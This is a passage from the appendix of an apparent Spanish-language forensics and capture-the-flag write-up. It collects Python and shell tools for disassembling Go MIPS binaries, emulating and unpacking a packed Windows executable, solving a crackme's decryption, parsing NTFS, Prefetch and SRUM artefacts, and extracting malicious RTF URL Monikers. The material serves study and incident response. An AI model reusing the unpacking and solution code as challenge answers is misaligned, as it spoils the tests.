    ok = 1 <= pad <= 16 and pt.endswith(bytes([pad]) * pad)
    print(key.decode(), "->", pt[:-pad] if ok else pt, "(PKCS7 OK)" if ok else "")
```

A.5. go_mips_disasm.py

go_mips_disasm.py

```python
#!/usr/bin/env python3
"""Desensambla funciones de un binario Go MIPS32 big-endian stripped, anotando
llamadas (jal) con el nombre de la función (vía .gopclntab) y referencias lui/addiu
a .rodata con la cadena que apuntan.

Uso: python3 go_mips_disasm.py BINARIO nombre_funcion [nombre_funcion...]
"""
import subprocess
import sys

from capstone import Cs, CS_ARCH_MIPS, CS_MODE_MIPS32, CS_MODE_BIG_ENDIAN
from elftools.elf.elffile import ELFFile

path = sys.argv[1]
wanted = sys.argv[2:]
here = __file__.rsplit("/", 1)[0]
out = subprocess.run([sys.executable, "-I", f"{here}/go_pclntab.py", path],
                     capture_output=True, text=True, check=True).stdout
funcs = {}
for line in out.splitlines():
    s, e, n = line.split(maxsplit=2)
    funcs[n] = (int(s, 16), int(e, 16))
by_addr = {v[0]: k for k, v in funcs.items()}

fh = open(path, "rb")
elf = ELFFile(fh)
segs = [(s["p_vaddr"], s["p_filesz"], s.data()) for s in elf.iter_segments() if s["p_type"] == "PT_LOAD
    ↪ "]

def read(addr, n):
    for va, sz, data in segs:
        if va <= addr < va + sz:
            o = addr - va
            return data[o:o + n]
    return b""

def preview(addr):
    b = read(addr, 64)
    if not b:
        return None
    s = b.split(b"\x00")[0][:48]
    if len(s) >= 3 and all(32 <= c < 127 for c in s):
        return s.decode()
```

```
    return None

md = Cs(CS_ARCH_MIPS, CS_MODE_MIPS32 + CS_MODE_BIG_ENDIAN)
for name in wanted:
    s, e = funcs[name]
    print(f"\n===== {name}  [{s:#x}-{e:#x}] =====")
    lui = {}
    for ins in md.disasm(read(s, e - s), s):
        note = ""
        ops = ins.op_str.replace("$", "").split(", ")
        if ins.mnemonic == "lui":
            lui[ops[0]] = int(ops[1], 0) << 16
        elif ins.mnemonic in ("addiu", "ori", "lw", "lbu", "lh", "lhu") and len(ops) >= 2:
            if ins.mnemonic in ("addiu", "ori") and ops[1] in lui:
                imm = int(ops[2], 0)
                addr = (lui[ops[1]] + (imm if ins.mnemonic == "addiu" else imm)) & 0xFFFFFFFF
                p = preview(addr)
                note = f"  ; {addr:#x}" + (f' "{p}"' if p else "")
        if ins.mnemonic == "jal":
            tgt = int(ins.op_str, 0)
            note = f"  ; -> {by_addr.get(tgt, '?')}"
        print(f"{ins.address:#x}: {ins.mnemonic:8s} {ins.op_str}{note}")
```

A.6. go_pclntab.py

go_pclntab.py

```
#!/usr/bin/env python3
"""Parser mínimo de .gopclntab (Go 1.2-1.15, magic 0xfffffffb) para binarios stripped.

Uso: python3 go_pclntab.py BINARIO [filtro]
Imprime: dirección_inicio  dirección_fin  nombre_función
"""
import struct
import sys

from elftools.elf.elffile import ELFFile

path = sys.argv[1]
filt = sys.argv[2] if len(sys.argv) > 2 else None

with open(path, "rb") as fh:
    elf = ELFFile(fh)
    sec = elf.get_section_by_name(".gopclntab")
    tab = sec.data()
    end = ">" if not elf.little_endian else "<"

magic = struct.unpack_from(end + "I", tab, 0)[0]
assert magic == 0xFFFFFFFB, hex(magic)
ptrsize = tab[7]
P = "I" if ptrsize == 4 else "Q"
nftab = struct.unpack_from(end + P, tab, 8)[0]
off = 8 + ptrsize
funcs = []
for i in range(nftab):
    pc, foff = struct.unpack_from(end + P + P, tab, off + i * 2 * ptrsize)
    nameoff = struct.unpack_from(end + "i", tab, foff + ptrsize)[0]
    name = tab[nameoff:tab.index(b"\x00", nameoff)].decode(errors="replace")
    funcs.append((pc, name))
endpc = struct.unpack_from(end + P, tab, off + nftab * 2 * ptrsize)[0]
for i, (pc, name) in enumerate(funcs):
    nxt = funcs[i + 1][0] if i + 1 < len(funcs) else endpc
    if filt is None or filt in name:
        print(f"{pc:#010x} {nxt:#010x} {name}")
```

A.7. kraken_emu.py

kraken_emu.py

```python
#!/usr/bin/env python3
"""Emula el descompresor de TheKraken.exe con Unicorn y vuelca el código desempaquetado.

Uso: python3 kraken_emu.py TheKraken.exe salida.bin
No ejecuta el binario en el sistema: solo emula la CPU x86 sobre un buffer de memoria.
"""
import sys
from unicorn import Uc, UcError, UC_ARCH_X86, UC_MODE_32, UC_HOOK_CODE, UC_HOOK_MEM_UNMAPPED
from unicorn.x86_const import UC_X86_REG_ESP, UC_X86_REG_EIP

src, out = sys.argv[1], sys.argv[2]
data = open(src, "rb").read()

BASE = 0x400000
IMG = 0x1F430000          # SizeOfImage completo (~500 MB): el descompresor usa tablas hash ahí
STACK = 0x00100000

mu = Uc(UC_ARCH_X86, UC_MODE_32)
mu.mem_map(BASE, IMG)
mu.mem_write(BASE, data)
mu.mem_map(STACK, 0x100000)
mu.reg_write(UC_X86_REG_ESP, STACK + 0x100000 - 0x100)

EP = BASE + 0x5C
state = {"n": 0, "target": None}

def on_code(uc, addr, size, _):
    state["n"] += 1
    # El descompresor vive en la cabecera (0x400000-0x401000); cuando salta
    # a la zona de destino (>= 0x420000) el código ya está desempaquetado.
    if addr >= 0x420000 and state["target"] is None:
        state["target"] = addr
        uc.emu_stop()

def on_unmapped(uc, access, addr, size, value, _):
    print(f"[!] acceso a memoria no mapeada en {addr:#x} (eip={uc.reg_read(UC_X86_REG_EIP):#x})")
    return False

# Hook solo sobre la zona destino: el descompresor corre sin callbacks (mucho más rápido)
mu.hook_add(UC_HOOK_CODE, on_code, begin=0x420000, end=0x7FFFFFFF)
mu.hook_add(UC_HOOK_MEM_UNMAPPED, on_unmapped)
try:
    mu.emu_start(EP, BASE + IMG, count=0)
except UcError as e:
    print("[!] UcError:", e, "eip=", hex(mu.reg_read(UC_X86_REG_EIP)))

print(f"instrucciones emuladas: {state['n']:,}")
print("salto a código desempaquetado:", hex(state["target"]) if state["target"] else None)
dump = bytes(mu.mem_read(0x420000, 0x10000))
open(out, "wb").write(dump)
print(f"volcado 0x420000..0x430000 -> {out}")
```

A.8. kraken_solve.py

kraken_solve.py

```python
#!/usr/bin/env python3
"""Resuelve The Kraken.

1) Identifica las 8 APIs de kernel32 que importa el código desempaquetado, comparando
   el hash del resolver (rol edi,6 ; xor edi,char  -- incluye el byte nulo final)
   con la tabla de hashes que hay en el exe (offset 0x108).
2) Reproduce el bucle de descifrado del main (0x42009f) para los 256 posibles valores
   del byte bajo devuelto por la API [0x430000] y muestra los que dan texto legible.

Uso: python3 kraken_solve.py TheKraken.exe kernel32.spec
```

```
"""
import re
import struct
import sys

exe = open(sys.argv[1], "rb").read()
spec = open(sys.argv[2]).read()

def rol32(x, n):
    return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF

def crinkler_hash(name: bytes) -> int:
    h = 0
    for c in name + b"\x00":
        h = rol32(h, 6) ^ c
    return h

names = set()
for line in spec.splitlines():
    line = line.split("#")[0].strip()
    m = re.match(r"^(?:@|\d+)\s+\S+\s+(?:-\S+\s+)*([A-Za-z_][A-Za-z0-9_]*)", line)
    if m:
        names.add(m.group(1))
table = {crinkler_hash(n.encode()): n for n in names}

hashes = struct.unpack_from("<8I", exe, 0x108)
print("== Imports resueltos (IAT en 0x430000) ==")
for i, h in enumerate(hashes):
    print(f"  [0x{0x430000 + 4*i:06x}]  hash={h:#010x}  ->  {table.get(h, '???')}")

# Array de 23 bytes construido en el main (mov byte [ebp-0x1c+i], imm8)
enc = bytes.fromhex("e57a77fbe15668fdfdf8790102ff7d837e8667666466cd")

def decrypt(k: int) -> bytes:
    out = bytearray()
    for i, c in enumerate(enc):
        c ^= 0x7C
        c = (c + k) & 0xFF
        c = (-c) & 0xFF
        c = ((c >> 7) | (c << 1)) & 0xFF   # rol8(c, 1)
        c = (c - i) & 0xFF
        out.append(c)
    return bytes(out)

print("\n== Candidatos legibles según el byte bajo devuelto por [0x430000] ==")
for k in range(256):
    p = decrypt(k)
    # Texto imprimible terminado en byte nulo (cadena C que recibe OutputDebugStringA)
    if p.endswith(b"\x00") and all(32 <= b < 127 for b in p[:-1]):
        print(f"  k={k:#04x} ({k:3d}): {p[:-1].decode()!r} + '\\x00'")
```

A.9. mft_record.py

mft_record.py

```
#!/usr/bin/env python3
"""Parsea registros FILE de la $MFT que contengan un nombre dado.

Uso: python3 mft_record.py '$MFT' nombre [--dump-resident salida_dir]
Muestra: nº de registro, flags (en uso/borrado), $STANDARD_INFORMATION y $FILE_NAME
(fechas, padre, nombre), $DATA (residente o no, tamaño real, runlist).
"""
import datetime
import os
import struct
import sys

mft_path, name = sys.argv[1], sys.argv[2]
dump_dir = sys.argv[sys.argv.index("--dump-resident") + 1] if "--dump-resident" in sys.argv else None
data = open(mft_path, "rb").read()
```

```
REC = 1024
needle = name.lower().encode("utf-16le")

def ft(v):
    if not v:
        return "-"
    return (datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=v // 10)).isoformat(sep=" "
    ↪ )

def fixup(rec):
    rec = bytearray(rec)
    usa_off, usa_cnt = struct.unpack_from("<HH", rec, 4)
    usn = rec[usa_off:usa_off + 2]
    for i in range(1, usa_cnt):
        pos = i * 512 - 2
        if rec[pos:pos + 2] == usn:
            rec[pos:pos + 2] = rec[usa_off + 2 * i:usa_off + 2 * i + 2]
    return bytes(rec)

def parent_path(ref, depth=0):
    """Reconstruye la ruta siguiendo las referencias al padre."""
    if depth > 30 or ref == 5:
        return ""
    off = ref * REC
    if off + REC > len(data) or data[off:off + 4] != b"FILE":
        return f"<{ref}>"
    rec = fixup(data[off:off + REC])
    a = struct.unpack_from("<H", rec, 20)[0]
    best = None
    while a < REC - 8:
        t, ln = struct.unpack_from("<II", rec, a)
        if t == 0xFFFFFFFF or ln == 0:
            break
        if t == 0x30:
            c = a + struct.unpack_from("<H", rec, a + 20)[0]
            par = struct.unpack_from("<Q", rec, c)[0] & 0xFFFFFFFFFFFF
            nl, ns = rec[c + 64], rec[c + 65]
            nm = rec[c + 66:c + 66 + nl * 2].decode("utf-16le", "replace")
            if best is None or ns != 2:
                best = (par, nm)
        a += ln
    if not best:
        return f"<{ref}>"
    return parent_path(best[0], depth + 1) + "\\" + best[1]

seen = set()
pos = 0
low = data.lower() if False else data
while True:
    i = data.find(needle, pos)
    if i < 0:
        i = data.find(name.upper().encode("utf-16le"), pos)
        if i < 0:
            break
    pos = i + 1
    recno = i // REC
    if recno in seen:
        continue
    seen.add(recno)
    raw = data[recno * REC:(recno + 1) * REC]
    if raw[:4] != b"FILE":
        print(f"[offset {i:#x}] coincidencia fuera de un registro FILE (slack/índice)")
        continue
    rec = fixup(raw)
    flags = struct.unpack_from("<H", rec, 22)[0]
    state = ("EN USO" if flags & 1 else "BORRADO") + (" DIR" if flags & 2 else "")
    print(f"\n=== Registro MFT #{recno}  ({state})")
    a = struct.unpack_from("<H", rec, 20)[0]
    while a < REC - 8:
        t, ln = struct.unpack_from("<II", rec, a)
        if t == 0xFFFFFFFF or ln == 0:
            break
        nonres = rec[a + 8]
```

```
        if t == 0x10:
            c = a + struct.unpack_from("<H", rec, a + 20)[0]
            cr, mo, mc, ac = struct.unpack_from("<QQQQ", rec, c)
            print(f"  $SI  creado={ft(cr)} modificado={ft(mo)} mft_mod={ft(mc)} acceso={ft(ac)}")
        elif t == 0x30:
            c = a + struct.unpack_from("<H", rec, a + 20)[0]
            par = struct.unpack_from("<Q", rec, c)[0] & 0xFFFFFFFFFFFF
            cr, mo, mc, ac, alloc, real = struct.unpack_from("<QQQQQQ", rec, c + 8)
            nl = rec[c + 64]
            nm = rec[c + 66:c + 66 + nl * 2].decode("utf-16le", "replace")
            print(f"  $FN  nombre={nm}  ruta={parent_path(par)}\\{nm}")
            print(f"       creado={ft(cr)} modificado={ft(mo)}")
        elif t == 0x80:
            nlen = rec[a + 9]
            if nonres:
                real = struct.unpack_from("<Q", rec, a + 48)[0]
                print(f"  $DATA no residente, tamaño real={real} bytes (contenido en disco, no en la
    ↪ $MFT)")
            else:
                clen, coff = struct.unpack_from("<IH", rec, a + 16)
                print(f"  $DATA RESIDENTE, {clen} bytes dentro del registro")
                if dump_dir:
                    os.makedirs(dump_dir, exist_ok=True)
                    out = os.path.join(dump_dir, f"mft_{recno}.bin")
                    open(out, "wb").write(rec[a + coff:a + coff + clen])
                    print(f"       volcado en {out}")
        a += ln
```

A.10. pe_info.py

pe_info.py

```
#!/usr/bin/env python3
"""Resumen de un ejecutable PE: cabecera, secciones (con entropía), recursos de versión e imports.

Requiere: pip install pefile
Uso: python3 pe_info.py fichero.exe
"""
import datetime
import sys

import pefile

pe = pefile.PE(sys.argv[1])
fh, oh = pe.FILE_HEADER, pe.OPTIONAL_HEADER
print(f"Machine          : {hex(fh.Machine)}  ({'x86' if fh.Machine == 0x14c else 'x64' if fh.Machine
    ↪ == 0x8664 else '?'})")
print(f"TimeDateStamp    : {datetime.datetime.fromtimestamp(fh.TimeDateStamp, datetime.timezone.utc):%Y
    ↪ -%m-%d %H:%M:%S} UTC")
print(f"e_lfanew         : {hex(pe.DOS_HEADER.e_lfanew)}")
print(f"NumberOfSections : {fh.NumberOfSections}")
print(f"ImageBase        : {hex(oh.ImageBase)}")
print(f"EntryPoint (RVA) : {hex(oh.AddressOfEntryPoint)}")
print(f"SizeOfImage      : {hex(oh.SizeOfImage)}  ({oh.SizeOfImage / 1048576:.1f} MB)")
print(f"Subsystem        : {oh.Subsystem}")
dd = oh.DATA_DIRECTORY
print(f"DataDirectories  : {len(dd)}")
print(f"Firma Authenticode: {'sí' if len(dd) > 4 and dd[4].Size else 'no'}")
if pe.sections:
    print("\nSecciones:")
    for s in pe.sections:
        print(f"  {s.Name.rstrip(b'\0').decode(errors='replace'):8s} VA={hex(s.VirtualAddress):9s} "
              f"VSize={hex(s.Misc_VirtualSize):9s} Raw={hex(s.SizeOfRawData):8s} entropía={s.
    ↪ get_entropy():.2f}")
for fi in getattr(pe, "FileInfo", []) or []:
    for entry in fi:
        for st in getattr(entry, "StringTable", []):
            print("\nRecursos de versión:")
            for k, v in st.entries.items():
                print(f"  {k.decode(errors='replace'):18s} = {v.decode(errors='replace')}")
```

```
imports = getattr(pe, "DIRECTORY_ENTRY_IMPORT", [])
if imports:
    print("\nImports:")
    for d in imports:
        names = [i.name.decode() if i.name else f"ord{i.ordinal}" for i in d.imports]
        print(f"  {d.dll.decode()}: {len(names)} funciones -> {', '.join(names[:8])}{' ...' if len(
    ↪ names) > 8 else ''}")
```

A.11. prefetch_timeline.sh

prefetch_timeline.sh

```
#!/usr/bin/env bash
# Línea de tiempo de ejecución a partir de los ficheros Prefetch (.pf) de Windows 10.
# Muestra: última ejecución (UTC) | nº de ejecuciones | ruta completa del ejecutable.
# Requiere: sccainfo (paquete libscca-utils)
# Uso: prefetch_timeline.sh <carpeta Prefetch> [filtro_regex]
set -u
dir="$1"; filtro="${2:-.}"
for f in "$dir"/*.pf; do
  out=$(sccainfo "$f" 2>/dev/null) || continue
  exe=$(printf '%s\n' "$out" | grep -m1 'Executable filename' | awk -F': ' '{print $2}')
  ruta=$(printf '%s\n' "$out" | grep -E 'Filename: [0-9]+' | grep -iF "\\$exe" | head -1 | awk -F': ' '
    {print $NF}')
  veces=$(printf '%s\n' "$out" | grep -m1 'Run count' | awk -F': ' '{print $2}')
  ultima=$(printf '%s\n' "$out" | grep -m1 'Last run time: 1' | awk -F': ' '{print $NF}')
  printf '%s | %s | %s\n' "$ultima" "$veces" "$ruta"
done | sed 's/\\VOLUME{[^}]*}//' | grep -iE "$filtro" | sort -t'|' -k1
```

A.12. rtf_url.py

rtf_url.py

```
#!/usr/bin/env python3
"""Extrae la(s) URL(s) de los URL Moniker que hay dentro de los objetos OLE de un RTF.

Busca en \\objdata el CLSID del URL Moniker {79EAC9E0-BAF9-11CE-8C82-00AA004BA90B}
(en bytes: e0c9ea79f9bace118c8200aa004ba90b), lee la longitud (4 bytes) y la URL en UTF-16LE.
Uso: python3 rtf_url.py Nominas.rtf
"""
import re
import sys

rtf = open(sys.argv[1], encoding="latin-1").read()
CLSID = bytes.fromhex("e0c9ea79f9bace118c8200aa004ba90b")
for n, part in enumerate(rtf.split(r"{\*\objdata")[1:]):
    hexdata = re.sub(r"[^0-9a-fA-F]", "", part.split("}")[0])
    data = bytes.fromhex(hexdata[: len(hexdata) // 2 * 2])
    pos = data.find(CLSID)
    while pos >= 0:
        size = int.from_bytes(data[pos + 16:pos + 20], "little")
        url = data[pos + 20:pos + 20 + size].decode("utf-16le", "replace").split("\x00")[0]
        print(f"objeto {n}: URL Moniker en offset {pos:#x}, campo de {size} bytes")
        print(f"  URL exacta: {url!r}  ({len(url)} caracteres)")
        pos = data.find(CLSID, pos + 1)
```

A.13. srum_net.py

srum_net.py

```python
#!/usr/bin/env python3
"""Uso de red por aplicación a partir de la tabla SRUM exportada con esedbexport.

Uso:
  esedbexport -t srum SRUDB.dat
  python3 srum_net.py srum.export
"""
import csv
import glob
import os
import sys

csv.field_size_limit(10**9)
d = sys.argv[1]

def rows(pattern):
    path = glob.glob(os.path.join(d, pattern))[0]
    with open(path, newline="", encoding="utf-8", errors="replace") as fh:
        return list(csv.DictReader(fh, delimiter="\t"))

idmap = {}
for r in rows("SruDbIdMapTable.*"):
    try:
        idmap[r["IdIndex"]] = bytes.fromhex(r["IdBlob"]).decode("utf-16le").rstrip("\x00")
    except Exception:
        idmap[r["IdIndex"]] = r["IdBlob"]

# {973F5D5C-...} = Network Data Usage
for r in rows("{973F5D5C-1D90-4944-BE8E-24B94231A174}.*"):
    app = idmap.get(r["AppId"], r["AppId"])
    print(f"{r['TimeStamp']}\tsent={r['BytesSent']}\trecv={r['BytesRecvd']}\t{app}")
```

A.14. vt_lookup.sh

vt_lookup.sh

```bash
#!/usr/bin/env bash
# Consulta hashes (MD5/SHA1/SHA256) en la API v3 de VirusTotal y muestra MD5, nombre,
# familia sugerida y número de detecciones.
# Requiere: curl, jq y una clave de API gratuita de VirusTotal en la variable VT_KEY.
# Uso: VT_KEY="tu_clave" bash vt_lookup.sh HASH [HASH ...]
# La API gratuita admite 4 consultas por minuto: se espera 16 s entre consultas.
set -u
: "${VT_KEY:?Define VT_KEY con tu clave de API de VirusTotal}"
n=0
for h in "$@"; do
  [ "$n" -gt 0 ] && sleep 16
  n=$((n + 1))
  echo "== $h"
  curl -s -H "x-apikey: $VT_KEY" "https://www.virustotal.com/api/v3/files/$h" | jq -r '
    .data.attributes
    | "MD5: \(.md5)\nNombre: \(.meaningful_name)\nFamilia: \(.popular_threat_classification.
     suggested_threat_label)\nDetecciones: \(.last_analysis_stats.malicious)"'
done
```

B. Referencias

- MITRE ATT&CK: https://attack.mitre.org/
- CVE-2017-0199 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2017-0199
- oletools / rtfobj: https://github.com/decalage2/oletools
- Crinkler: https://github.com/runestubbe/Crinkler

- Unicorn Engine: https://www.unicorn-engine.org/
- Capstone: https://www.capstone-engine.org/
- Lista de exports de kernel32 (Wine): https://raw.githubusercontent.com/wine-mirror/wine/master/dlls/kernel32/kernel32.spec
- libscca (Prefetch): https://github.com/libyal/libscca
- libesedb (SRUM): https://github.com/libyal/libesedb
- regipy: https://github.com/mkorman90/regipy
- SDelete (Sysinternals): https://learn.microsoft.com/sysinternals/downloads/sdelete
- VirusTotal API v3: https://docs.virustotal.com/reference/file-info
- go-figure: https://github.com/common-nighthawk/go-figure
- goInfo: https://github.com/matishsiao/goInfo
- Historia de Go: https://go.dev/doc/faq